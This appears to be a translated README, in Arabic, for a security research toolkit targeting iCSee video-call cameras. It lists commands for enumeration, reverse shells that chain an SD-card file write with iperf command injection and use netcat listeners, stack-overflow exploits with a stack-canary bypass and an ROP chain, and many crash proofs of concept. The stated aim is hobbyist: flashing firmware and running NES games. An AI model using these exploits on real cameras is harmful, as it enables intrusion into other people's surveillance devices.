
هذه مجموعة من الأدوات/إثباتات المفهوم/الاستغلالات للكاميرات التي تستخدم تطبيق iCSee. ونعم - يمكنها تشغيل ألعاب NES!
هذه مجموعة من الأدوات/الإثباتات المفاهيمية/الاستغلالات التي يمكن استخدامها مع كاميرات مكالمات الفيديو من ICSee عبر الشبكة المحلية (وربما أيضًا الكاميرات غير المخصصة لمكالمات الفيديو). يمكن استخدامها بسهولة لوميض البرامج الثابتة البديلة كبديل لطريقة التحديث عبر بطاقة SD.
ملاحظة: أي استغلال لفساد الذاكرة سيعمل فقط إذا كان إصدار البرنامج الثابت للكاميرا هو V5.00.R02.000949U5.10000.141324.0000010 أو V5.00.R02.000807E5.10000.346724.0000010 - تعتمد هذه الاستغلالات على إزاحات ثابتة تتغير في كل مرة يتم فيها بناء البرنامج الثابت.
[0] التعداد، التفكيك، واستخراج البرامج الثابتة
[2] إيجاد فيوضات عددية عديمة الفائدة + بعض الأخطاء المفيدة
[3] الموت بفيض المكدس + متعة حارس المكدس
[5] كاميرا مختلفة، نفس التطبيق
[6] التبرير + استغلال كامل لفساد الذاكرة في الكاميرا الثانية
[7] محاكاة ألعاب NES على الكاميرا
pycryptodome: لتشفير تسجيل الدخول RSApwntools: لـ shellcodepyftpdlib: لخادم FTPpynput: لإدخال لوحة مفاتيح NESget_system_infoتستخدم هذه الوظيفة طريقة get_system_info لجلب معلومات عن الكاميرا عبر المنفذ 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsتستخدم بعض الوظائف النصية المتبقية لسحب السجلات من الجهاز (تنتهي السجلات في FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellيستغل ثغرة كتابة ملف في بطاقة SD، وثغرة تنفيذ ثنائي iperf التي تسمح بالتنفيذ عن بُعد لثنائي موجود على بطاقة SD، للحصول على شل عكسي وبدء تشغيل مصحح GDB الذي يرتبط بالعملية الرئيسية App.
الطرفية 1:
nc -l 1234
الطرفية 2:
python3 icseeu.py gdb_revshell
الطرفية 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
ملاحظة: لا توقف البرنامج لأكثر من 30 ثانية وإلا سيشتكي المراقب (watchdog) وسيتم إعادة تشغيل عملية App!
ملاحظة 2: قد تحتاج إلى تعديل عناوين IP المضمنة في الحمولة (GDB_Revshell/remote_mgmt.c) لتكون عنوان جهازك على الشبكة المحلية وإعادة بناء الحمولة.
gdb_revshell_injectيستغل ثغرة كتابة ملف في بطاقة SD، وثغرة حقن الأوامر في iperf التي تسمح بالتنفيذ عن بُعد لثنائي موجود على بطاقة SD، للحصول على شل عكسي وبدء تشغيل مصحح GDB الذي يرتبط بالعملية الرئيسية App.
هذا مفيد للأجهزة التي تحتوي بالفعل على ثنائي iperf، مما يمنع استخدام الطريقة الأخرى.
الطرفية 1:
nc -l 1234
الطرفية 2:
python3 icseeu.py gdb_revshell_inject
الطرفية 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
ملاحظة: لا توقف البرنامج لأكثر من 30 ثانية وإلا سيشتكي المراقب (watchdog) وسيتم إعادة تشغيل عملية App!
ملاحظة 2: قد تحتاج إلى تعديل عناوين IP المضمنة في الحمولة (GDB_Revshell/remote_mgmt.c) لتكون عنوان جهازك على الشبكة المحلية وإعادة بناء الحمولة.
iperf_inject_exploitيستغل حقن الأوامر في iperf لإنشاء شل عكسي.
الطرفية 1:
nc -l 1234
الطرفية 2:
python3 icseeu.py iperf_inject_exploit
ملاحظة: قد تحتاج إلى تعديل عناوين IP المضمنة في الحمولة (Revshell_Inject/remote_mgmt.c) لتكون عنوان جهازك على الشبكة المحلية وإعادة بناء الحمولة.
هذه استغلالات لفيض المكدس الثاني في معالج رسائل النوع 0x7d8. هذا الفيض مثير للاهتمام لأنه يسمح لنا بتجاوز حارس المكدس والحصول على تنفيذ.
ستحتاج إلى بناء حمولة الموزع قبل أن تعمل هذه الاستغلالات (قم بتشغيل make في دليل PayloadDispatcher)، والحمولة التي تريد تشغيلها على الكاميرا عن طريق تشغيل make في الدلائل المعنية (مثل ImageDisplay).
ملاحظات:
screenflashتوضح أن لدينا تنفيذ كود عن طريق وميض الشاشة.
python3 icseeu.py exploit_goke screenflash
rgbتوضح أن لدينا تحكمًا في الشاشة عن طريق وميض ألوان RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayتستخدم كتابة الملف لرفع صورة RAW RGB 5:6:5، قم بتشغيل ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw على صورة في الدليل للحصول على ملف image.raw في دليل ImageDisplay ليعمل هذا. سيتم عرض الصورة على الشاشة.
python3 icseeu.py exploit_goke imagedisplay
buttontestتوضح أنه يمكننا قراءة حالة الأزرار، تومض بلون عند اكتشاف الضغط على أحد الأزرار.
python3 icseeu.py exploit_goke buttontest
pongتطبيق بسيط للعبة Pong يوضح أن لدينا تحكمًا في الشاشة والأزرار الأمامية، كما يوضح حمولة أكثر تعقيدًا.
python3 icseeu.py exploit_goke pong
nesمحاكي NES منقول يمكنه تشغيل rom.nes الموضوع في دليل GOKE_Payloads/nes، قم بتشغيل make في GOKE_Payloads/nes/smolnes و GOKE_Payload/nes لتوليد الثنائيات.
python3 icseeu.py exploit_goke nes
هذا استغلال لفيض مكدس في كاميرا أخرى بدون حواري مكدس، ولكن مع NX. كتبت سلسلة ROP لتحويل المكدس والحصول على تنفيذ سلسلة ROP كبيرة، تقوم سلسلة ROP هذه بتعيين ذاكرة قابلة للتنفيذ، تحميل محتويات ملف في الذاكرة، إنشاء خيط ينفذه، ثم إصلاح حالة المكدس ومتابعة التنفيذ.
ستحتاج إلى بناء الحمولة قبل أن تعمل هذه الاستغلالات، قم بتشغيل make في الدلائل المعنية (مثل ImageDisplay).
ملاحظات:
screenflashتوضح أن لدينا تنفيذ كود عن طريق وميض الشاشة.
python3 icseeu.py exploit_xm530 screenflash
rgbتوضح أن لدينا تحكمًا في الشاشة عن طريق وميض ألوان RGB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayتستخدم كتابة الملف لرفع صورة RAW RGB 5:6:5، قم بتشغيل ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw على صورة في الدليل للحصول على ملف image.raw في دليل ImageDisplay ليعمل هذا. سيتم عرض الصورة على الشاشة.
python3 icseeu.py exploit_xm530 imagedisplay
مزيد من التفاصيل حول هذه الإثباتات المفاهيمية (وأسبابها الأساسية) موجودة في المدونات في أعلى هذا الملف.
integer_underflow_httpيسبب هذا الإثبات تعطلًا بسبب نقصان عددي في خادم HTTP.
python3 icseeu.py integer_underflow_http
iperf_runسينفذ هذا الإثبات الملف المخزن على بطاقة SD تحت iperf/iperf (سكربت ash أو ثنائي).
python3 icseeu.py iperf_run
iperf_injectسينفذ هذا الإثبات الأمر reboot عبر حقن أوامر، يجب أن يكون ملف iperf/iperf موجودًا على بطاقة SD ليعمل هذا.
python3 icseeu.py iperf_inject
assert_trigger_0x41aيسبب هذا الإثبات تشغيل تأكيد (assert) بسبب تخصيص كبير في معالج رسائل النوع 0x41a (مما يسبب تعطلًا).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aيسبب هذا الإثبات تعطلًا بسبب فيض عددي يسبب قراءة غير طبيعية خارج الحدود في معالج رسائل النوع 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aيسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1يسبب هذا الإثبات تعطلًا بسبب الفيض الأول في المكدس في معالج رسائل النوع 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2يسبب هذا الإثبات تعطلًا بسبب الفيض الثاني في المكدس في معالج رسائل النوع 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacيسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4يسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414يسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1يسبب هذا الإثبات تعطلًا بسبب الفيض الأول في المكدس في معالج رسائل النوع 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2يسبب هذا الإثبات تعطلًا بسبب الفيض الثاني في المكدس في معالج رسائل النوع 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8يسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eيسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1يسبب هذا الإثبات تعطلًا بسبب الفيض الأول في المكدس في معالج رسائل النوع 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2يسبب هذا الإثبات تعطلًا بسبب الفيض الثاني في المكدس في معالج رسائل النوع 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6يسبب هذا الإثبات تعطلًا بسبب فيض مكدس في معالج رسائل النوع 0x8a6 (غير موجود في جميع الكاميرات).
python3 icseeu.py stack_overflow_0x8a6